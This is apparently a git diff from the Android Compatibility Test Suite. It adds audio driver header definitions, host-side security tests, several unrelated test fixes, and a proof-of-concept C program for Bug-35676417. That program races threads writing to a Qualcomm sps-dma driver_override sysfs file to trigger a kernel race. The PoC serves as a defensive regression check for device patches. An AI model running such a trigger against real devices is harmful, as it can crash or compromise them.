+#define AUDIO_SET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 94, struct msm_audio_buf_cfg)
+#define AUDIO_SET_ACDB_BLK \
+ _IOW(AUDIO_IOCTL_MAGIC, 95, struct msm_acdb_cmd_device)
+#define AUDIO_GET_ACDB_BLK \
+ _IOW(AUDIO_IOCTL_MAGIC, 96, struct msm_acdb_cmd_device)
+
+#define AUDIO_REGISTER_ION \
+ _IOW(AUDIO_IOCTL_MAGIC, 97, struct msm_audio_ion_info)
+#define AUDIO_DEREGISTER_ION \
+ _IOW(AUDIO_IOCTL_MAGIC, 98, struct msm_audio_ion_info)
+#define AUDIO_SET_EFFECTS_CONFIG \
+ _IOW(AUDIO_IOCTL_MAGIC, 99, struct msm_hwacc_effects_config)
+#define AUDIO_EFFECTS_SET_BUF_LEN \
+ _IOW(AUDIO_IOCTL_MAGIC, 100, struct msm_hwacc_buf_cfg)
+#define AUDIO_EFFECTS_GET_BUF_AVAIL \
+ _IOW(AUDIO_IOCTL_MAGIC, 101, struct msm_hwacc_buf_avail)
+#define AUDIO_EFFECTS_WRITE _IOW(AUDIO_IOCTL_MAGIC, 102, void *)
+#define AUDIO_EFFECTS_READ _IOWR(AUDIO_IOCTL_MAGIC, 103, void *)
+#define AUDIO_EFFECTS_SET_PP_PARAMS _IOW(AUDIO_IOCTL_MAGIC, 104, void *)
+
+#define AUDIO_PM_AWAKE _IOW(AUDIO_IOCTL_MAGIC, 105, unsigned)
+#define AUDIO_PM_RELAX _IOW(AUDIO_IOCTL_MAGIC, 106, unsigned)
+
+#define AUDIO_MAX_COMMON_IOCTL_NUM 107
+
+#define HANDSET_MIC 0x01
+#define HANDSET_SPKR 0x02
+#define HEADSET_MIC 0x03
+#define HEADSET_SPKR_MONO 0x04
+#define HEADSET_SPKR_STEREO 0x05
+#define SPKR_PHONE_MIC 0x06
+#define SPKR_PHONE_MONO 0x07
+#define SPKR_PHONE_STEREO 0x08
+#define BT_SCO_MIC 0x09
+#define BT_SCO_SPKR 0x0A
+#define BT_A2DP_SPKR 0x0B
+#define TTY_HEADSET_MIC 0x0C
+#define TTY_HEADSET_SPKR 0x0D
+
+/* Default devices are not supported in a */
+/* device switching context. Only supported */
+/* for stream devices. */
+/* DO NOT USE */
+#define DEFAULT_TX 0x0E
+#define DEFAULT_RX 0x0F
+
+#define BT_A2DP_TX 0x10
+
+#define HEADSET_MONO_PLUS_SPKR_MONO_RX 0x11
+#define HEADSET_MONO_PLUS_SPKR_STEREO_RX 0x12
+#define HEADSET_STEREO_PLUS_SPKR_MONO_RX 0x13
+#define HEADSET_STEREO_PLUS_SPKR_STEREO_RX 0x14
+
+#define I2S_RX 0x20
+#define I2S_TX 0x21
+
+#define ADRC_ENABLE 0x0001
+#define EQUALIZER_ENABLE 0x0002
+#define IIR_ENABLE 0x0004
+#define QCONCERT_PLUS_ENABLE 0x0008
+#define MBADRC_ENABLE 0x0010
+#define SRS_ENABLE 0x0020
+#define SRS_DISABLE 0x0040
+
+#define AGC_ENABLE 0x0001
+#define NS_ENABLE 0x0002
+#define TX_IIR_ENABLE 0x0004
+#define FLUENCE_ENABLE 0x0008
+
+#define VOC_REC_UPLINK 0x00
+#define VOC_REC_DOWNLINK 0x01
+#define VOC_REC_BOTH 0x02
+
+struct msm_audio_config {
+ uint32_t buffer_size;
+ uint32_t buffer_count;
+ uint32_t channel_count;
+ uint32_t sample_rate;
+ uint32_t type;
+ uint32_t meta_field;
+ uint32_t bits;
+ uint32_t unused[3];
+};
+
+struct msm_audio_stream_config {
+ uint32_t buffer_size;
+ uint32_t buffer_count;
+};
+
+struct msm_audio_buf_cfg {
+ uint32_t meta_info_enable;
+ uint32_t frames_per_buf;
+};
+
+struct msm_audio_stats {
+ uint32_t byte_count;
+ uint32_t sample_count;
+ uint32_t unused[2];
+};
+
+struct msm_audio_ion_info {
+ int fd;
+ void *vaddr;
+};
+
+struct msm_audio_pmem_info {
+ int fd;
+ void *vaddr;
+};
+
+struct msm_audio_aio_buf {
+ void *buf_addr;
+ uint32_t buf_len;
+ uint32_t data_len;
+ void *private_data;
+ unsigned short mfield_sz; /*only useful for data has meta field */
+};
+
+/* Audio routing */
+
+#define SND_IOCTL_MAGIC 's'
+
+#define SND_MUTE_UNMUTED 0
+#define SND_MUTE_MUTED 1
+
+struct msm_mute_info {
+ uint32_t mute;
+ uint32_t path;
+};
+
+struct msm_vol_info {
+ uint32_t vol;
+ uint32_t path;
+};
+
+struct msm_voicerec_mode {
+ uint32_t rec_mode;
+};
+
+struct msm_snd_device_config {
+ uint32_t device;
+ uint32_t ear_mute;
+ uint32_t mic_mute;
+};
+
+#define SND_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_device_config *)
+
+enum cad_device_path_type {
+ CAD_DEVICE_PATH_RX, /*For Decoding session*/
+ CAD_DEVICE_PATH_TX, /* For Encoding session*/
+ CAD_DEVICE_PATH_RX_TX, /* For Voice call */
+ CAD_DEVICE_PATH_LB, /* For loopback (FM Analog)*/
+ CAD_DEVICE_PATH_MAX
+};
+
+struct cad_devices_type {
+ uint32_t rx_device;
+ uint32_t tx_device;
+ enum cad_device_path_type pathtype;
+};
+
+struct msm_cad_device_config {
+ struct cad_devices_type device;
+ uint32_t ear_mute;
+ uint32_t mic_mute;
+};
+
+#define CAD_SET_DEVICE _IOW(SND_IOCTL_MAGIC, 2, struct msm_cad_device_config *)
+
+#define SND_METHOD_VOICE 0
+#define SND_METHOD_MIDI 4
+
+struct msm_snd_volume_config {
+ uint32_t device;
+ uint32_t method;
+ uint32_t volume;
+};
+
+#define SND_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_snd_volume_config *)
+
+struct msm_cad_volume_config {
+ struct cad_devices_type device;
+ uint32_t method;
+ uint32_t volume;
+};
+
+#define CAD_SET_VOLUME _IOW(SND_IOCTL_MAGIC, 3, struct msm_cad_volume_config *)
+
+/* Returns the number of SND endpoints supported. */
+
+#define SND_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
+
+struct msm_snd_endpoint {
+ int id; /* input and output */
+ char name[64]; /* output only */
+};
+
+/* Takes an index between 0 and one less than the number returned by
+ * SND_GET_NUM_ENDPOINTS, and returns the SND index and name of a
+ * SND endpoint. On input, the .id field contains the number of the
+ * endpoint, and on exit it contains the SND index, while .name contains
+ * the description of the endpoint.
+ */
+
+#define SND_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_snd_endpoint *)
+
+#define SND_AVC_CTL _IOW(SND_IOCTL_MAGIC, 6, unsigned *)
+#define SND_AGC_CTL _IOW(SND_IOCTL_MAGIC, 7, unsigned *)
+
+/*return the number of CAD endpoints supported. */
+
+#define CAD_GET_NUM_ENDPOINTS _IOR(SND_IOCTL_MAGIC, 4, unsigned *)
+
+struct msm_cad_endpoint {
+ int id; /* input and output */
+ char name[64]; /* output only */
+};
+
+/* Takes an index between 0 and one less than the number returned by
+ * SND_GET_NUM_ENDPOINTS, and returns the CAD index and name of a
+ * CAD endpoint. On input, the .id field contains the number of the
+ * endpoint, and on exit it contains the SND index, while .name contains
+ * the description of the endpoint.
+ */
+
+#define CAD_GET_ENDPOINT _IOWR(SND_IOCTL_MAGIC, 5, struct msm_cad_endpoint *)
+
+struct msm_audio_pcm_config {
+ uint32_t pcm_feedback; /* 0 - disable > 0 - enable */
+ uint32_t buffer_count; /* Number of buffers to allocate */
+ uint32_t buffer_size; /* Size of buffer for capturing of
+ PCM samples */
+};
+
+#define AUDIO_EVENT_SUSPEND 0
+#define AUDIO_EVENT_RESUME 1
+#define AUDIO_EVENT_WRITE_DONE 2
+#define AUDIO_EVENT_READ_DONE 3
+#define AUDIO_EVENT_STREAM_INFO 4
+#define AUDIO_EVENT_BITSTREAM_ERROR_INFO 5
+
+#define AUDIO_CODEC_TYPE_MP3 0
+#define AUDIO_CODEC_TYPE_AAC 1
+
+struct msm_audio_bitstream_info {
+ uint32_t codec_type;
+ uint32_t chan_info;
+ uint32_t sample_rate;
+ uint32_t bit_stream_info;
+ uint32_t bit_rate;
+ uint32_t unused[3];
+};
+
+struct msm_audio_bitstream_error_info {
+ uint32_t dec_id;
+ uint32_t err_msg_indicator;
+ uint32_t err_type;
+};
+
+union msm_audio_event_payload {
+ struct msm_audio_aio_buf aio_buf;
+ struct msm_audio_bitstream_info stream_info;
+ struct msm_audio_bitstream_error_info error_info;
+ int reserved;
+};
+
+struct msm_audio_event {
+ int event_type;
+ int timeout_ms;
+ union msm_audio_event_payload event_payload;
+};
+
+#define MSM_SNDDEV_CAP_RX 0x1
+#define MSM_SNDDEV_CAP_TX 0x2
+#define MSM_SNDDEV_CAP_VOICE 0x4
+
+struct msm_snd_device_info {
+ uint32_t dev_id;
+ uint32_t dev_cap; /* bitmask describe capability of device */
+ char dev_name[64];
+};
+
+struct msm_snd_device_list {
+ uint32_t num_dev; /* Indicate number of device info to be retrieved */
+ struct msm_snd_device_info *list;
+};
+
+struct msm_dtmf_config {
+ uint16_t path;
+ uint16_t dtmf_hi;
+ uint16_t dtmf_low;
+ uint16_t duration;
+ uint16_t tx_gain;
+ uint16_t rx_gain;
+ uint16_t mixing;
+};
+
+#define AUDIO_ROUTE_STREAM_VOICE_RX 0
+#define AUDIO_ROUTE_STREAM_VOICE_TX 1
+#define AUDIO_ROUTE_STREAM_PLAYBACK 2
+#define AUDIO_ROUTE_STREAM_REC 3
+
+struct msm_audio_route_config {
+ uint32_t stream_type;
+ uint32_t stream_id;
+ uint32_t dev_id;
+};
+
+#define AUDIO_MAX_EQ_BANDS 12
+
+struct msm_audio_eq_band {
+ uint16_t band_idx; /* The band index, 0 .. 11 */
+ uint32_t filter_type; /* Filter band type */
+ uint32_t center_freq_hz; /* Filter band center frequency */
+ uint32_t filter_gain; /* Filter band initial gain (dB) */
+ /* Range is +12 dB to -12 dB with 1dB increments. */
+ uint32_t q_factor;
+} __attribute__((packed));
+
+struct msm_audio_eq_stream_config {
+ uint32_t enable; /* Number of consequtive bands specified */
+ uint32_t num_bands;
+ struct msm_audio_eq_band eq_bands[AUDIO_MAX_EQ_BANDS];
+} __attribute__((packed));
+
+struct msm_acdb_cmd_device {
+ uint32_t command_id;
+ uint32_t device_id;
+ uint32_t network_id;
+ uint32_t sample_rate_id; /* Actual sample rate value */
+ uint32_t interface_id; /* See interface id's above */
+ uint32_t algorithm_block_id; /* See enumerations above */
+ uint32_t total_bytes; /* Length in bytes used by buffer */
+ uint32_t *phys_buf; /* Physical Address of data */
+};
+
+struct msm_hwacc_data_config {
+ __u32 buf_size;
+ __u32 num_buf;
+ __u32 num_channels;
+ __u8 channel_map[8];
+ __u32 sample_rate;
+ __u32 bits_per_sample;
+};
+
+struct msm_hwacc_buf_cfg {
+ __u32 input_len;
+ __u32 output_len;
+};
+
+struct msm_hwacc_buf_avail {
+ __u32 input_num_avail;
+ __u32 output_num_avail;
+};
+
+struct msm_hwacc_effects_config {
+ struct msm_hwacc_data_config input;
+ struct msm_hwacc_data_config output;
+ struct msm_hwacc_buf_cfg buf_cfg;
+ __u32 meta_mode_enabled;
+ __u32 overwrite_topology;
+ __s32 topology;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/poc.c b/hostsidetests/security/securityPatch/Bug-35676417/poc.c
new file mode 100644
index 0000000..0807183
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35676417/poc.c
@@ -0,0 +1,114 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/ion.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+#include "local_poc.h"
+
+#define MAX_THREAD 1
+int fd;
+int cmd;
+int status[MAX_THREAD];
+char *buf;
+
+void *threadEntry(void *arg) {
+ int ret;
+ int index = (int)(unsigned long)arg;
+
+ if (index < 0 || index >= MAX_THREAD) goto failed;
+
+ status[index] = 1;
+
+ while (cmd == 0) {
+ usleep(10);
+ }
+
+ if (cmd == -1) goto failed;
+
+ usleep(10);
+ write(fd, buf, 64);
+failed:
+ status[index] = 2;
+ return NULL;
+}
+
+int main(int argc, char **argv) {
+ int ret, i;
+ pthread_t tid[MAX_THREAD];
+ int pc = 2;
+
+ int count = 0;
+
+ while (pc-- > 0) fork();
+
+ buf = (char *)malloc(4096);
+ if (!buf) return -1;
+
+ memset(buf, 0x0, 4096);
+ for (i = 0; i < 62; i++) buf[i] = 'g';
+
+retry:
+ cmd = 0;
+ for (i = 0; i < MAX_THREAD; i++) status[i] = 0;
+
+ fd = open("/sys/devices/soc/7544000.qcom,sps-dma/driver_override", O_WRONLY);
+ if (fd < 0) {
+ return -1;
+ }
+
+ for (i = 0; i < MAX_THREAD; i++) {
+ ret = pthread_create(&tid[i], NULL, threadEntry, (void *)(unsigned long)i);
+ if (ret != 0) {
+ cmd = -1;
+ goto failed;
+ }
+ }
+
+ while (status[0] != 1) {
+ usleep(50);
+ }
+
+ cmd = 1;
+ usleep(10);
+ ret = write(fd, buf, 64);
+ while (status[0] != 2) {
+ usleep(50);
+ }
+
+failed:
+ count++;
+ close(fd);
+ if (count < 1000) {
+ goto retry;
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index 936eb01..5c9349d 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -128,4 +128,23 @@
AdbUtils.runPocNoOutput("Bug-35139833", getDevice(), 60);
}
}
+
+ /**
+ * b/35468048
+ */
+ @SecurityTest
+ public void testPocBug_35468048() throws Exception {
+ enableAdbRoot(getDevice());
+ infoDisclosure("Bug-35468048", getDevice(), 60, "[\\s\\n\\S]*read succeeded: [0-9]+" +
+ " bytes[\\s][\\S]{3} content: 0x[0-9]+. 0x[0-9]+[\\s\\n\\S]*", true );
+ }
+
+ /**
+ * b/35470735
+ */
+ @SecurityTest
+ public void testPocBug_35470735() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPocNoOutput("Bug-35470735", getDevice(), 60);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
new file mode 100644
index 0000000..051c589
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_09 extends SecurityTestCase {
+
+ /**
+ * b/33039685
+ */
+ @SecurityTest
+ public void testPocBug_33039685() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/sys/kernel/debug/pci-msm/")) {
+ AdbUtils.runPocNoOutput("Bug-33039685", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/35676417
+ */
+ @SecurityTest
+ public void testPocBug_35676417() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/sys/devices/soc/7544000.qcom,sps-dma/driver_override")) {
+ AdbUtils.runPocNoOutput("Bug-35676417", getDevice(), 60);
+ }
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
index 84b4b45..b6c0667 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
@@ -22,13 +22,18 @@
import android.app.Activity;
import android.app.ActivityOptions;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.graphics.Rect;
public class AlwaysFocusablePipActivity extends Activity {
- static void launchAlwaysFocusablePipActivity(Activity caller) {
+ static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK);
+ if (newTask) {
+ intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+ }
final ActivityOptions options = ActivityOptions.makeBasic();
options.setLaunchBounds(new Rect(0, 0, 500, 500));
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
index 23298a0..86c4834 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchIntoPinnedStackPipActivity.java
@@ -22,6 +22,6 @@
@Override
protected void onResume() {
super.onResume();
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, true /* newTask */);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
index 1b9b729..d0b47b0 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
@@ -17,11 +17,13 @@
package android.server.cts;
import android.app.Activity;
+import android.content.pm.PackageManager;
public class LaunchPipOnPipActivity extends Activity {
@Override
public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
super.onPictureInPictureModeChanged(isInPictureInPictureMode);
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
+ getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
}
}
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 38baf10..64ca416 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -32,15 +32,29 @@
Reference images are typically only generated for new API revisions. To
generate a new set of reference images, do the following:
- 1. Connect one device for each DPI bucket (ldpi, xxxhdpi, etc.) that you wish
- to generate references images for. Confirm that all devices are connected
- with:
+ 1. Obtain the emulator image for the current platform. You can either build
+ these from scratch (not recommended) via:
+
+ make PRODUCT-sdk_phone_x86_64-sdk sdk_repo -j32
+
+ Or obtain them from the sdk-repo-linux-system-images-<build-id>.zip
+ artifact from the sdk_phone_x86_64-sdk build server target.
+
+ 2. Start one AVD emulator image for each DPI bucket (ldpi, xxxhdpi, etc.)
+ that you wish to generate references images for. Anecdotally, up to three
+ emulators can run reliably at the same time. Confirm that all emulators
+ are connected with:
adb devices
- 2. Image generation occurs on all devices in parallel. Resulting sets of
- reference images are saved in assets/<platform>/<dpi>.zip and will
- overwrite any existing sets. Image generation may be started using:
+ 3. Set up your build environment for x86_64 and build CTS:
+
+ lunch sdk_x86_64-eng && make cts -j32
+
+ 2. Generate the reference images. Generation occurs on all devices in
+ parallel. Resulting sets of reference images are automatically saved in
+ assets/<platform>/<dpi>.zip and will overwrite any existing sets. Image
+ generation may be started using:
./cts/hostsidetests/theme/generate_images.sh
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 56cbc93..afe5019 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -255,7 +255,8 @@
if (!isEncoder) {
fail("createInputSurface should not work on a decoder");
}
- } catch (IllegalStateException e) { // expected for decoder and audio encoder
+ } catch (IllegalStateException |
+ IllegalArgumentException e) { // expected for decoder and audio encoder
if (isVideoEncoder) {
throw e;
}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 52b3072..857ffd8 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -16,6 +16,7 @@
package android.speech.tts.cts;
import android.media.AudioFormat;
+import android.os.ConditionVariable;
import android.speech.tts.SynthesisCallback;
import android.speech.tts.SynthesisRequest;
import android.speech.tts.TextToSpeech;
@@ -33,8 +34,8 @@
public class StubTextToSpeechService extends TextToSpeechService {
private static final String LOG_TAG = "StubTextToSpeechService";
- // Object that onSynthesizeText will #wait on, if set to non-null
- public static volatile Object sSynthesizeTextWait;
+ // Object that onSynthesizeText will #block on, if set to non-null
+ public static volatile ConditionVariable sSynthesizeTextWait;
private ArrayList<Locale> supportedLanguages = new ArrayList<Locale>();
private ArrayList<Locale> supportedCountries = new ArrayList<Locale>();
@@ -79,15 +80,9 @@
return;
}
- final Object synthesizeTextWait = sSynthesizeTextWait;
+ final ConditionVariable synthesizeTextWait = sSynthesizeTextWait;
if (synthesizeTextWait != null) {
- synchronized (synthesizeTextWait) {
- try {
- synthesizeTextWait.wait(10000); // 10s timeout
- } catch (InterruptedException e) {
- Log.e(LOG_TAG, "onSynthesizeText wait interrupted", e);
- }
- }
+ synthesizeTextWait.block(10000); // 10s timeout
}
// Ten chunks with each a time point.
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 8e4d901..4d9faad 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -15,6 +15,7 @@
*/
package android.speech.tts.cts;
+import android.os.ConditionVariable;
import android.os.Environment;
import android.speech.tts.TextToSpeech;
import android.test.AndroidTestCase;
@@ -95,7 +96,7 @@
}
public void testSpeakStop() throws Exception {
- final Object synthesizeTextWait = new Object();
+ final ConditionVariable synthesizeTextWait = new ConditionVariable();
StubTextToSpeechService.sSynthesizeTextWait = synthesizeTextWait;
getTts().stop();
@@ -108,9 +109,7 @@
getTts().stop();
// Wake up the Stubs #onSynthesizeSpeech (one that will be stopped in-progress)
- synchronized (synthesizeTextWait) {
- synthesizeTextWait.notify();
- }
+ synthesizeTextWait.open();
for (int i = 0; i < iterations; i++) {
assertTrue("speak() stop callback timeout", mTts.waitForStop(
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png
deleted file mode 100644
index 7ca4067..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png
deleted file mode 100644
index e315dfd..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png
deleted file mode 100644
index 5e719b2..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png
deleted file mode 100644
index 321250b..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png
deleted file mode 100644
index 6429808..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png
deleted file mode 100644
index d2af211..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index a871f49..25abcbf 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -34,8 +34,7 @@
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
-import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
-import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
import android.uirendering.cts.testinfrastructure.MaterialActivity;
import android.uirendering.cts.util.BitmapAsserter;
import android.widget.EdgeEffect;
@@ -77,62 +76,76 @@
mBitmapAsserter.setUp(getActivity());
}
- private void assertEdgeEffect(EdgeEffectInitializer initializer, int goldenId) {
+ private static class EdgeEffectValidator extends PerPixelBitmapVerifier {
+ public int matchedColorCount;
+
+ private int mInverseColorMask;
+ private int mColorMask;
+
+ public EdgeEffectValidator(int drawColor) {
+ mColorMask = drawColor & 0x00FFFFFF;
+ mInverseColorMask = ~(drawColor & 0x00FFFFFF);
+ }
+
+ @Override
+ protected boolean verifyPixel(int x, int y, int observedColor) {
+ if ((observedColor & mColorMask) != 0) {
+ matchedColorCount++;
+ }
+ return (observedColor & mInverseColorMask) == 0xFF000000;
+ }
+ }
+
+ private void assertEdgeEffect(EdgeEffectInitializer initializer) {
Bitmap bitmap = Bitmap.createBitmap(WIDTH, HEIGHT, Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
- canvas.drawColor(Color.WHITE);
+ canvas.drawColor(Color.BLACK);
EdgeEffect edgeEffect = new EdgeEffect(getActivity());
edgeEffect.setSize(WIDTH, HEIGHT);
edgeEffect.setColor(Color.RED);
+ assertEquals(Color.RED, edgeEffect.getColor());
initializer.initialize(edgeEffect);
edgeEffect.draw(canvas);
- GoldenImageVerifier verifier = new GoldenImageVerifier(getActivity(), goldenId,
- new MSSIMComparer(0.99));
+ EdgeEffectValidator verifier = new EdgeEffectValidator(edgeEffect.getColor());
mBitmapAsserter.assertBitmapIsVerified(bitmap, verifier,
name.getMethodName(), "EdgeEffect doesn't match expected");
+ assertTrue(verifier.matchedColorCount > 0);
}
- //b/63010438
- @Suppress
@Test
public void testOnPull() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.onPull(1);
- }, R.drawable.edge_effect_red);
+ });
}
- //b/63010438
- @Suppress
@Test
public void testSetSize() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.setSize(70, 70);
edgeEffect.onPull(1);
- }, R.drawable.edge_effect_size);
+ });
}
- //b/63010438
- @Suppress
@Test
public void testSetColor() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.setColor(Color.GREEN);
+ assertEquals(Color.GREEN, edgeEffect.getColor());
edgeEffect.onPull(1);
- }, R.drawable.edge_effect_green);
+ });
}
- //b/63010438
- @Suppress
@Test
public void testOnPullWithDisplacement() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.onPull(1, 0);
- }, R.drawable.edge_effect_displacement_0);
+ });
assertEdgeEffect(edgeEffect -> {
edgeEffect.onPull(1, 1);
- }, R.drawable.edge_effect_displacement_1);
+ });
}
@Test
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 1b8db29..8c1bc88 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -167,6 +167,8 @@
<!-- b/63115400 -->
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.SELinuxHostTest#testAospFileContexts" />
+ <!-- b/64221494 -->
+ <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.SELinuxHostTest#testAospPropertyContexts" />
<!-- b/36686383 -->
